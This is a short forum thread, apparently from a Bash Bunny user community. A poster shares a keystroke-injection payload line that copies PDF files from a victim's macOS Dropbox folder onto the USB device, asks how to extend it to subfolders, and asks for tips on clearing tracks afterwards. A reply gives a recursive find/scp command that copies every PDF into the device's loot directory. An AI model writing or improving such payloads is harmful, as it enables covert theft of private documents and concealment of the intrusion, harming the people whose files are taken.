WiFiJuice Posted July 25, 2021 Share Posted July 25, 2021 I'm using a script to exfiltrate PDF-files from Dropbox on macOS. However, I want it to also download the PDFs from the subfolders of the /Dropbox/ directionally. Example from "/Dropbox/Misc/" etc. How do I do that? Q STRING scp -r ./Dropbox/*.pdf /Volumes/BashBunny/$lootdir/docs/ PS: What's your best tip on clearing your tracks after this kind of command in the terminal? Quote Link to comment Share on other sites More sharing options...
kuyaya Posted August 10, 2021 Share Posted August 10, 2021 On 7/25/2021 at 2:38 AM, WiFiJuice said: I'm using a script to exfiltrate PDF-files from Dropbox on macOS. However, I want it to also download the PDFs from the subfolders of the /Dropbox/ directionally. Example from "/Dropbox/Misc/" etc. How do I do that? Q STRING scp -r ./Dropbox/*.pdf /Volumes/BashBunny/$lootdir/docs/ PS: What's your best tip on clearing your tracks after this kind of command in the terminal? This should work (haven't tested it, but it should work) Q STRING find ./Dropbox -name '*.pdf' -exec scp '{}' /Volumes/BashBunny/$lootdir/docs/ \; 1 Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.